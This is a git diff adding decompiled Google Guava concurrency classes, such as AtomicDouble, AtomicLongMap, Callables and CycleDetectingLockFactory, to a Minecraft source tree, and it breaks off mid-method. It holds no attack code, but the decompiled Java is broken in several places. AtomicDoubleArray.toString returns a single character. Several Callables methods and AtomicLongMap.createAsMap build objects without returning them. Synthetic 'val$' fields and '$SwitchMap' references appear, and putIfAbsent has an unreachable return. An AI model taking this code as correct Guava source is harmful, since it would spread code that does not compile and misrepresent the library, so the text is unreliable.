+  {
+    return snapshot.failureCause();
+  }
+  
+
+
+
+  public final void addListener(Service.Listener listener, Executor executor)
+  {
+    Preconditions.checkNotNull(listener, "listener");
+    Preconditions.checkNotNull(executor, "executor");
+    monitor.enter();
+    try {
+      if (!state().isTerminal()) {
+        listeners.add(new ListenerCallQueue(listener, executor));
+      }
+    } finally {
+      monitor.leave();
+    }
+  }
+  
+  public String toString() {
+    return getClass().getSimpleName() + " [" + state() + "]";
+  }
+  
+
+
+
+  private void executeListeners()
+  {
+    if (!monitor.isOccupiedByCurrentThread())
+    {
+      for (int i = 0; i < listeners.size(); i++) {
+        ((ListenerCallQueue)listeners.get(i)).execute();
+      }
+    }
+  }
+  
+  @GuardedBy("monitor")
+  private void starting() {
+    STARTING_CALLBACK.enqueueOn(listeners);
+  }
+  
+  @GuardedBy("monitor")
+  private void running() {
+    RUNNING_CALLBACK.enqueueOn(listeners);
+  }
+  
+  @GuardedBy("monitor")
+  private void stopping(Service.State from) {
+    if (from == Service.State.STARTING) {
+      STOPPING_FROM_STARTING_CALLBACK.enqueueOn(listeners);
+    } else if (from == Service.State.RUNNING) {
+      STOPPING_FROM_RUNNING_CALLBACK.enqueueOn(listeners);
+    } else {
+      throw new AssertionError();
+    }
+  }
+  
+  @GuardedBy("monitor")
+  private void terminated(Service.State from) {
+    switch (10.$SwitchMap$com$google$common$util$concurrent$Service$State[from.ordinal()]) {
+    case 1: 
+      TERMINATED_FROM_NEW_CALLBACK.enqueueOn(listeners);
+      break;
+    case 3: 
+      TERMINATED_FROM_RUNNING_CALLBACK.enqueueOn(listeners);
+      break;
+    case 4: 
+      TERMINATED_FROM_STOPPING_CALLBACK.enqueueOn(listeners);
+      break;
+    case 2: 
+    case 5: 
+    case 6: 
+    default: 
+      throw new AssertionError();
+    }
+  }
+  
+  @GuardedBy("monitor")
+  private void failed(final Service.State from, final Throwable cause)
+  {
+    new ListenerCallQueue.Callback("failed({from = " + from + ", cause = " + cause + "})")
+    {
+      void call(Service.Listener listener) { listener.failed(from, cause); } }.enqueueOn(listeners);
+  }
+  
+
+
+
+
+
+  @Immutable
+  private static final class StateSnapshot
+  {
+    final Service.State state;
+    
+
+
+
+
+    final boolean shutdownWhenStartupFinishes;
+    
+
+
+
+
+    @Nullable
+    final Throwable failure;
+    
+
+
+
+
+    StateSnapshot(Service.State internalState)
+    {
+      this(internalState, false, null);
+    }
+    
+    StateSnapshot(Service.State internalState, boolean shutdownWhenStartupFinishes, @Nullable Throwable failure)
+    {
+      Preconditions.checkArgument((!shutdownWhenStartupFinishes) || (internalState == Service.State.STARTING), "shudownWhenStartupFinishes can only be set if state is STARTING. Got %s instead.", new Object[] { internalState });
+      
+
+      Preconditions.checkArgument(((failure != null ? 1 : 0) ^ (internalState == Service.State.FAILED ? 1 : 0)) == 0, "A failure cause should be set if and only if the state is failed.  Got %s and %s instead.", new Object[] { internalState, failure });
+      
+
+      state = internalState;
+      this.shutdownWhenStartupFinishes = shutdownWhenStartupFinishes;
+      this.failure = failure;
+    }
+    
+    Service.State externalState()
+    {
+      if ((shutdownWhenStartupFinishes) && (state == Service.State.STARTING)) {
+        return Service.State.STOPPING;
+      }
+      return state;
+    }
+    
+
+    Throwable failureCause()
+    {
+      Preconditions.checkState(state == Service.State.FAILED, "failureCause() is only valid if the service has failed, service is %s", new Object[] { state });
+      
+      return failure;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AsyncFunction.java b/src/minecraft/com/google/common/util/concurrent/AsyncFunction.java
new file mode 100644
index 0000000..d4cf22b
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AsyncFunction.java
@@ -0,0 +1,7 @@
+package com.google.common.util.concurrent;
+
+public abstract interface AsyncFunction<I, O>
+{
+  public abstract ListenableFuture<O> apply(I paramI)
+    throws Exception;
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AsyncSettableFuture.java b/src/minecraft/com/google/common/util/concurrent/AsyncSettableFuture.java
new file mode 100644
index 0000000..ccea185
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AsyncSettableFuture.java
@@ -0,0 +1,100 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class AsyncSettableFuture<V>
+  extends ForwardingListenableFuture<V>
+{
+  public static <V> AsyncSettableFuture<V> create()
+  {
+    return new AsyncSettableFuture();
+  }
+  
+  private final NestedFuture<V> nested = new NestedFuture(null);
+  private final ListenableFuture<V> dereferenced = Futures.dereference(nested);
+  
+  private AsyncSettableFuture() {}
+  
+  protected ListenableFuture<V> delegate() {
+    return dereferenced;
+  }
+  
+
+
+
+  public boolean setFuture(ListenableFuture<? extends V> future)
+  {
+    return nested.setFuture((ListenableFuture)Preconditions.checkNotNull(future));
+  }
+  
+
+
+
+
+  public boolean setValue(@Nullable V value)
+  {
+    return setFuture(Futures.immediateFuture(value));
+  }
+  
+
+
+
+
+  public boolean setException(Throwable exception)
+  {
+    return setFuture(Futures.immediateFailedFuture(exception));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean isSet() { return nested.isDone(); }
+  
+  private static final class NestedFuture<V> extends AbstractFuture<ListenableFuture<? extends V>> {
+    private NestedFuture() {}
+    
+    boolean setFuture(ListenableFuture<? extends V> value) { boolean result = set(value);
+      if (isCancelled()) {
+        value.cancel(wasInterrupted());
+      }
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AtomicDouble.java b/src/minecraft/com/google/common/util/concurrent/AtomicDouble.java
new file mode 100644
index 0000000..1fc627e
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AtomicDouble.java
@@ -0,0 +1,254 @@
+package com.google.common.util.concurrent;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.concurrent.atomic.AtomicLongFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AtomicDouble
+  extends Number
+  implements Serializable
+{
+  private static final long serialVersionUID = 0L;
+  private volatile transient long value;
+  private static final AtomicLongFieldUpdater<AtomicDouble> updater = AtomicLongFieldUpdater.newUpdater(AtomicDouble.class, "value");
+  
+
+
+
+
+
+  public AtomicDouble(double initialValue)
+  {
+    value = Double.doubleToRawLongBits(initialValue);
+  }
+  
+
+
+
+
+
+  public AtomicDouble() {}
+  
+
+
+
+
+  public final double get()
+  {
+    return Double.longBitsToDouble(value);
+  }
+  
+
+
+
+
+  public final void set(double newValue)
+  {
+    long next = Double.doubleToRawLongBits(newValue);
+    value = next;
+  }
+  
+
+
+
+
+  public final void lazySet(double newValue)
+  {
+    set(newValue);
+  }
+  
+
+
+
+
+
+
+
+
+  public final double getAndSet(double newValue)
+  {
+    long next = Double.doubleToRawLongBits(newValue);
+    return Double.longBitsToDouble(updater.getAndSet(this, next));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final boolean compareAndSet(double expect, double update)
+  {
+    return updater.compareAndSet(this, Double.doubleToRawLongBits(expect), Double.doubleToRawLongBits(update));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean weakCompareAndSet(double expect, double update)
+  {
+    return updater.weakCompareAndSet(this, Double.doubleToRawLongBits(expect), Double.doubleToRawLongBits(update));
+  }
+  
+
+
+
+
+
+
+  public final double getAndAdd(double delta)
+  {
+    for (;;)
+    {
+      long current = value;
+      double currentVal = Double.longBitsToDouble(current);
+      double nextVal = currentVal + delta;
+      long next = Double.doubleToRawLongBits(nextVal);
+      if (updater.compareAndSet(this, current, next)) {
+        return currentVal;
+      }
+    }
+  }
+  
+
+
+
+
+  public final double addAndGet(double delta)
+  {
+    for (;;)
+    {
+      long current = value;
+      double currentVal = Double.longBitsToDouble(current);
+      double nextVal = currentVal + delta;
+      long next = Double.doubleToRawLongBits(nextVal);
+      if (updater.compareAndSet(this, current, next)) {
+        return nextVal;
+      }
+    }
+  }
+  
+
+
+
+  public String toString()
+  {
+    return Double.toString(get());
+  }
+  
+
+
+
+  public int intValue()
+  {
+    return (int)get();
+  }
+  
+
+
+
+  public long longValue()
+  {
+    return get();
+  }
+  
+
+
+
+  public float floatValue()
+  {
+    return (float)get();
+  }
+  
+
+
+  public double doubleValue()
+  {
+    return get();
+  }
+  
+
+
+
+
+  private void writeObject(ObjectOutputStream s)
+    throws IOException
+  {
+    s.defaultWriteObject();
+    
+    s.writeDouble(get());
+  }
+  
+
+
+  private void readObject(ObjectInputStream s)
+    throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
+    
+    set(s.readDouble());
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AtomicDoubleArray.java b/src/minecraft/com/google/common/util/concurrent/AtomicDoubleArray.java
new file mode 100644
index 0000000..b6b868b
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AtomicDoubleArray.java
@@ -0,0 +1,268 @@
+package com.google.common.util.concurrent;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.concurrent.atomic.AtomicLongArray;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AtomicDoubleArray
+  implements Serializable
+{
+  private static final long serialVersionUID = 0L;
+  private transient AtomicLongArray longs;
+  
+  public AtomicDoubleArray(int length)
+  {
+    longs = new AtomicLongArray(length);
+  }
+  
+
+
+
+
+
+
+  public AtomicDoubleArray(double[] array)
+  {
+    int len = array.length;
+    long[] longArray = new long[len];
+    for (int i = 0; i < len; i++) {
+      longArray[i] = Double.doubleToRawLongBits(array[i]);
+    }
+    longs = new AtomicLongArray(longArray);
+  }
+  
+
+
+
+
+  public final int length()
+  {
+    return longs.length();
+  }
+  
+
+
+
+
+
+  public final double get(int i)
+  {
+    return Double.longBitsToDouble(longs.get(i));
+  }
+  
+
+
+
+
+
+  public final void set(int i, double newValue)
+  {
+    long next = Double.doubleToRawLongBits(newValue);
+    longs.set(i, next);
+  }
+  
+
+
+
+
+
+  public final void lazySet(int i, double newValue)
+  {
+    set(i, newValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final double getAndSet(int i, double newValue)
+  {
+    long next = Double.doubleToRawLongBits(newValue);
+    return Double.longBitsToDouble(longs.getAndSet(i, next));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean compareAndSet(int i, double expect, double update)
+  {
+    return longs.compareAndSet(i, Double.doubleToRawLongBits(expect), Double.doubleToRawLongBits(update));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final boolean weakCompareAndSet(int i, double expect, double update)
+  {
+    return longs.weakCompareAndSet(i, Double.doubleToRawLongBits(expect), Double.doubleToRawLongBits(update));
+  }
+  
+
+
+
+
+
+
+
+  public final double getAndAdd(int i, double delta)
+  {
+    for (;;)
+    {
+      long current = longs.get(i);
+      double currentVal = Double.longBitsToDouble(current);
+      double nextVal = currentVal + delta;
+      long next = Double.doubleToRawLongBits(nextVal);
+      if (longs.compareAndSet(i, current, next)) {
+        return currentVal;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public double addAndGet(int i, double delta)
+  {
+    for (;;)
+    {
+      long current = longs.get(i);
+      double currentVal = Double.longBitsToDouble(current);
+      double nextVal = currentVal + delta;
+      long next = Double.doubleToRawLongBits(nextVal);
+      if (longs.compareAndSet(i, current, next)) {
+        return nextVal;
+      }
+    }
+  }
+  
+
+
+
+  public String toString()
+  {
+    int iMax = length() - 1;
+    if (iMax == -1) {
+      return "[]";
+    }
+    
+
+    StringBuilder b = new StringBuilder(19 * (iMax + 1));
+    b.append('[');
+    for (int i = 0;; i++) {
+      b.append(Double.longBitsToDouble(longs.get(i)));
+      if (i == iMax) {
+        return ']';
+      }
+      b.append(',').append(' ');
+    }
+  }
+  
+
+
+
+
+
+  private void writeObject(ObjectOutputStream s)
+    throws IOException
+  {
+    s.defaultWriteObject();
+    
+
+    int length = length();
+    s.writeInt(length);
+    
+
+    for (int i = 0; i < length; i++) {
+      s.writeDouble(get(i));
+    }
+  }
+  
+
+
+  private void readObject(ObjectInputStream s)
+    throws IOException, ClassNotFoundException
+  {
+    s.defaultReadObject();
+    
+
+    int length = s.readInt();
+    longs = new AtomicLongArray(length);
+    
+
+    for (int i = 0; i < length; i++) {
+      set(i, s.readDouble());
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/AtomicLongMap.java b/src/minecraft/com/google/common/util/concurrent/AtomicLongMap.java
new file mode 100644
index 0000000..3ca0de9
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/AtomicLongMap.java
@@ -0,0 +1,431 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Maps;
+import java.util.Collections;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class AtomicLongMap<K>
+{
+  private final ConcurrentHashMap<K, AtomicLong> map;
+  private transient Map<K, Long> asMap;
+  
+  private AtomicLongMap(ConcurrentHashMap<K, AtomicLong> map)
+  {
+    this.map = ((ConcurrentHashMap)Preconditions.checkNotNull(map));
+  }
+  
+
+
+  public static <K> AtomicLongMap<K> create()
+  {
+    return new AtomicLongMap(new ConcurrentHashMap());
+  }
+  
+
+
+  public static <K> AtomicLongMap<K> create(Map<? extends K, ? extends Long> m)
+  {
+    AtomicLongMap<K> result = create();
+    result.putAll(m);
+    return result;
+  }
+  
+
+
+
+  public long get(K key)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    return atomic == null ? 0L : atomic.get();
+  }
+  
+
+
+  public long incrementAndGet(K key)
+  {
+    return addAndGet(key, 1L);
+  }
+  
+
+
+  public long decrementAndGet(K key)
+  {
+    return addAndGet(key, -1L);
+  }
+  
+
+
+
+
+  public long addAndGet(K key, long delta)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    if (atomic == null) {
+      atomic = (AtomicLong)map.putIfAbsent(key, new AtomicLong(delta));
+      if (atomic == null) {
+        return delta;
+      }
+    }
+    
+    for (;;)
+    {
+      long oldValue = atomic.get();
+      if (oldValue == 0L)
+      {
+        if (!map.replace(key, atomic, new AtomicLong(delta))) break;
+        return delta;
+      }
+      
+
+
+
+      long newValue = oldValue + delta;
+      if (atomic.compareAndSet(oldValue, newValue)) {
+        return newValue;
+      }
+    }
+  }
+  
+
+
+
+
+  public long getAndIncrement(K key)
+  {
+    return getAndAdd(key, 1L);
+  }
+  
+
+
+  public long getAndDecrement(K key)
+  {
+    return getAndAdd(key, -1L);
+  }
+  
+
+
+
+
+  public long getAndAdd(K key, long delta)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    if (atomic == null) {
+      atomic = (AtomicLong)map.putIfAbsent(key, new AtomicLong(delta));
+      if (atomic == null) {
+        return 0L;
+      }
+    }
+    
+    for (;;)
+    {
+      long oldValue = atomic.get();
+      if (oldValue == 0L)
+      {
+        if (!map.replace(key, atomic, new AtomicLong(delta))) break;
+        return 0L;
+      }
+      
+
+
+
+      long newValue = oldValue + delta;
+      if (atomic.compareAndSet(oldValue, newValue)) {
+        return oldValue;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public long put(K key, long newValue)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    if (atomic == null) {
+      atomic = (AtomicLong)map.putIfAbsent(key, new AtomicLong(newValue));
+      if (atomic == null) {
+        return 0L;
+      }
+    }
+    
+    for (;;)
+    {
+      long oldValue = atomic.get();
+      if (oldValue == 0L)
+      {
+        if (!map.replace(key, atomic, new AtomicLong(newValue))) break;
+        return 0L;
+      }
+      
+
+
+
+      if (atomic.compareAndSet(oldValue, newValue)) {
+        return oldValue;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends K, ? extends Long> m)
+  {
+    for (Map.Entry<? extends K, ? extends Long> entry : m.entrySet()) {
+      put(entry.getKey(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+
+
+  public long remove(K key)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    if (atomic == null) {
+      return 0L;
+    }
+    for (;;)
+    {
+      long oldValue = atomic.get();
+      if ((oldValue == 0L) || (atomic.compareAndSet(oldValue, 0L)))
+      {
+        map.remove(key, atomic);
+        
+        return oldValue;
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void removeAllZeros()
+  {
+    for (K key : map.keySet()) {
+      AtomicLong atomic = (AtomicLong)map.get(key);
+      if ((atomic != null) && (atomic.get() == 0L)) {
+        map.remove(key, atomic);
+      }
+    }
+  }
+  
+
+
+
+
+  public long sum()
+  {
+    long sum = 0L;
+    for (AtomicLong value : map.values()) {
+      sum += value.get();
+    }
+    return sum;
+  }
+  
+
+
+
+
+  public Map<K, Long> asMap()
+  {
+    Map<K, Long> result = asMap;
+    return result == null ? (this.asMap = createAsMap()) : result;
+  }
+  
+  private Map<K, Long> createAsMap() {
+    Collections.unmodifiableMap(Maps.transformValues(map, new Function()
+    {
+      public Long apply(AtomicLong atomic)
+      {
+        return Long.valueOf(atomic.get());
+      }
+    }));
+  }
+  
+
+
+  public boolean containsKey(Object key)
+  {
+    return map.containsKey(key);
+  }
+  
+
+
+
+  public int size()
+  {
+    return map.size();
+  }
+  
+
+
+  public boolean isEmpty()
+  {
+    return map.isEmpty();
+  }
+  
+
+
+
+
+
+  public void clear()
+  {
+    map.clear();
+  }
+  
+  public String toString()
+  {
+    return map.toString();
+  }
+  
+
+
+
+
+
+
+
+
+  long putIfAbsent(K key, long newValue)
+  {
+    AtomicLong atomic;
+    
+
+
+
+
+
+
+
+    long oldValue;
+    
+
+
+
+
+
+
+
+    do
+    {
+      atomic = (AtomicLong)map.get(key);
+      if (atomic == null) {
+        atomic = (AtomicLong)map.putIfAbsent(key, new AtomicLong(newValue));
+        if (atomic == null) {
+          return 0L;
+        }
+      }
+      
+
+      oldValue = atomic.get();
+      if (oldValue != 0L)
+        break;
+    } while (!map.replace(key, atomic, new AtomicLong(newValue)));
+    return 0L;
+    
+
+
+
+
+    return oldValue;
+  }
+  
+
+
+
+
+
+
+
+
+  boolean replace(K key, long expectedOldValue, long newValue)
+  {
+    if (expectedOldValue == 0L) {
+      return putIfAbsent(key, newValue) == 0L;
+    }
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    return atomic == null ? false : atomic.compareAndSet(expectedOldValue, newValue);
+  }
+  
+
+
+
+
+  boolean remove(K key, long value)
+  {
+    AtomicLong atomic = (AtomicLong)map.get(key);
+    if (atomic == null) {
+      return false;
+    }
+    
+    long oldValue = atomic.get();
+    if (oldValue != value) {
+      return false;
+    }
+    
+    if ((oldValue == 0L) || (atomic.compareAndSet(oldValue, 0L)))
+    {
+      map.remove(key, atomic);
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Atomics.java b/src/minecraft/com/google/common/util/concurrent/Atomics.java
new file mode 100644
index 0000000..6a227ef
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Atomics.java
@@ -0,0 +1,73 @@
+package com.google.common.util.concurrent;
+
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Atomics
+{
+  private Atomics() {}
+  
+  public static <V> AtomicReference<V> newReference()
+  {
+    return new AtomicReference();
+  }
+  
+
+
+
+
+
+  public static <V> AtomicReference<V> newReference(@Nullable V initialValue)
+  {
+    return new AtomicReference(initialValue);
+  }
+  
+
+
+
+
+
+  public static <E> AtomicReferenceArray<E> newReferenceArray(int length)
+  {
+    return new AtomicReferenceArray(length);
+  }
+  
+
+
+
+
+
+
+  public static <E> AtomicReferenceArray<E> newReferenceArray(E[] array)
+  {
+    return new AtomicReferenceArray(array);
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/Callables.java b/src/minecraft/com/google/common/util/concurrent/Callables.java
new file mode 100644
index 0000000..2dcdeae
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/Callables.java
@@ -0,0 +1,116 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.util.concurrent.Callable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Callables
+{
+  private Callables() {}
+  
+  public static <T> Callable<T> returning(@Nullable T value)
+  {
+    new Callable() {
+      public T call() {
+        return val$value;
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+  static <T> Callable<T> threadRenaming(final Callable<T> callable, Supplier<String> nameSupplier)
+  {
+    Preconditions.checkNotNull(nameSupplier);
+    Preconditions.checkNotNull(callable);
+    new Callable() {
+      public T call() throws Exception {
+        Thread currentThread = Thread.currentThread();
+        String oldName = currentThread.getName();
+        boolean restoreName = Callables.trySetName((String)val$nameSupplier.get(), currentThread);
+        try {
+          return callable.call();
+        } finally {
+          if (restoreName) {
+            Callables.trySetName(oldName, currentThread);
+          }
+        }
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+  static Runnable threadRenaming(final Runnable task, Supplier<String> nameSupplier)
+  {
+    Preconditions.checkNotNull(nameSupplier);
+    Preconditions.checkNotNull(task);
+    new Runnable() {
+      public void run() {
+        Thread currentThread = Thread.currentThread();
+        String oldName = currentThread.getName();
+        boolean restoreName = Callables.trySetName((String)val$nameSupplier.get(), currentThread);
+        try {
+          task.run();
+        } finally {
+          if (restoreName) {
+            Callables.trySetName(oldName, currentThread);
+          }
+        }
+      }
+    };
+  }
+  
+
+
+  private static boolean trySetName(String threadName, Thread currentThread)
+  {
+    try
+    {
+      currentThread.setName(threadName);
+      return true;
+    } catch (SecurityException e) {}
+    return false;
+  }
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/CheckedFuture.java b/src/minecraft/com/google/common/util/concurrent/CheckedFuture.java
new file mode 100644
index 0000000..9baed4d
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/CheckedFuture.java
@@ -0,0 +1,16 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@Beta
+public abstract interface CheckedFuture<V, X extends Exception>
+  extends ListenableFuture<V>
+{
+  public abstract V checkedGet()
+    throws Exception;
+  
+  public abstract V checkedGet(long paramLong, TimeUnit paramTimeUnit)
+    throws TimeoutException, Exception;
+}
diff --git a/src/minecraft/com/google/common/util/concurrent/CycleDetectingLockFactory.java b/src/minecraft/com/google/common/util/concurrent/CycleDetectingLockFactory.java
new file mode 100644
index 0000000..af97da9
--- /dev/null
+++ b/src/minecraft/com/google/common/util/concurrent/CycleDetectingLockFactory.java
@@ -0,0 +1,1034 @@
+package com.google.common.util.concurrent;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Lists;
+import com.google.common.collect.MapMaker;
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.EnumMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock.ReadLock;
+import java.util.concurrent.locks.ReentrantReadWriteLock.WriteLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+import javax.annotation.Nullable;
+import javax.annotation.concurrent.ThreadSafe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@ThreadSafe
+public class CycleDetectingLockFactory
+{
+  @Beta
+  @ThreadSafe
+  public static abstract interface Policy
+  {
+    public abstract void handlePotentialDeadlock(CycleDetectingLockFactory.PotentialDeadlockException paramPotentialDeadlockException);
+  }
+  
+  @Beta
+  public static abstract enum Policies
+    implements CycleDetectingLockFactory.Policy
+  {
+    THROW, 
+    
+
+
+
+
+
+
+
+
+
+
+
+    WARN, 
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    DISABLED;
+    
+
+
+    private Policies() {}
+  }
+  
+
+
+  public static CycleDetectingLockFactory newInstance(Policy policy)
+  {
+    return new CycleDetectingLockFactory(policy);
+  }
+  
+
+
+  public ReentrantLock newReentrantLock(String lockName)
+  {
+    return newReentrantLock(lockName, false);
+  }
+  
+
+
+
+
+  public ReentrantLock newReentrantLock(String lockName, boolean fair)
+  {
+    return policy == Policies.DISABLED ? new ReentrantLock(fair) : new CycleDetectingReentrantLock(new LockGraphNode(lockName), fair, null);
+  }
+  
+
+
+
+
+  public ReentrantReadWriteLock newReentrantReadWriteLock(String lockName)
+  {
+    return newReentrantReadWriteLock(lockName, false);
+  }
+  
+
+
+
+
+
+  public ReentrantReadWriteLock newReentrantReadWriteLock(String lockName, boolean fair)
+  {
+    return policy == Policies.DISABLED ? new ReentrantReadWriteLock(fair) : new CycleDetectingReentrantReadWriteLock(new LockGraphNode(lockName), fair, null);
+  }
+  
+
+
+
+
+  private static final ConcurrentMap<Class<? extends Enum>, Map<? extends Enum, LockGraphNode>> lockGraphNodesPerType = new MapMaker().weakKeys().makeMap();
+  
+
+
+
+
+
+
+  public static <E extends Enum<E>> WithExplicitOrdering<E> newInstanceWithExplicitOrdering(Class<E> enumClass, Policy policy)
+  {
+    Preconditions.checkNotNull(enumClass);
+    Preconditions.checkNotNull(policy);
+    
+    Map<E, LockGraphNode> lockGraphNodes = getOrCreateNodes(enumClass);
+    
+    return new WithExplicitOrdering(policy, lockGraphNodes);
+  }
+  
+  private static Map<? extends Enum, LockGraphNode> getOrCreateNodes(Class<? extends Enum> clazz)
+  {
+    Map<? extends Enum, LockGraphNode> existing = (Map)lockGraphNodesPerType.get(clazz);
+    
+    if (existing != null) {
+      return existing;
+    }
+    Map<? extends Enum, LockGraphNode> created = createNodes(clazz);
+    existing = (Map)lockGraphNodesPerType.putIfAbsent(clazz, created);
+    return (Map)Objects.firstNonNull(existing, created);
+  }
+  
+
+
+
+
+
+  @VisibleForTesting
+  static <E extends Enum<E>> Map<E, LockGraphNode> createNodes(Class<E> clazz)
+  {
+    EnumMap<E, LockGraphNode> map = Maps.newEnumMap(clazz);
+    E[] keys = (Enum[])clazz.getEnumConstants();
+    int numKeys = keys.length;
+    ArrayList<LockGraphNode> nodes = Lists.newArrayListWithCapacity(numKeys);
+    
+
+    for (E key : keys) {
+      LockGraphNode node = new LockGraphNode(getLockName(key));
+      nodes.add(node);
+      map.put(key, node);
+    }
+    
+    for (int i = 1; i < numKeys; i++) {
+      ((LockGraphNode)nodes.get(i)).checkAcquiredLocks(Policies.THROW, nodes.subList(0, i));
+    }
+    
+    for (int i = 0; i < numKeys - 1; i++) {
+      ((LockGraphNode)nodes.get(i)).checkAcquiredLocks(Policies.DISABLED, nodes.subList(i + 1, numKeys));
+    }
+    
+    return Collections.unmodifiableMap(map);
+  }
+  
+
+
+
+
+  private static String getLockName(Enum<?> rank)
+  {
+    return rank.getDeclaringClass().getSimpleName() + "." + rank.name();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static final class WithExplicitOrdering<E extends Enum<E>>
+    extends CycleDetectingLockFactory
+  {
+    private final Map<E, CycleDetectingLockFactory.LockGraphNode> lockGraphNodes;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    @VisibleForTesting
+    WithExplicitOrdering(CycleDetectingLockFactory.Policy policy, Map<E, CycleDetectingLockFactory.LockGraphNode> lockGraphNodes)
+    {
+      super(null);
+      this.lockGraphNodes = lockGraphNodes;
+    }
+    
+
+
+    public ReentrantLock newReentrantLock(E rank)
+    {
+      return newReentrantLock(rank, false);
+    }
+    
+
+
+
+
+
+
+
+
+    public ReentrantLock newReentrantLock(E rank, boolean fair)
+    {
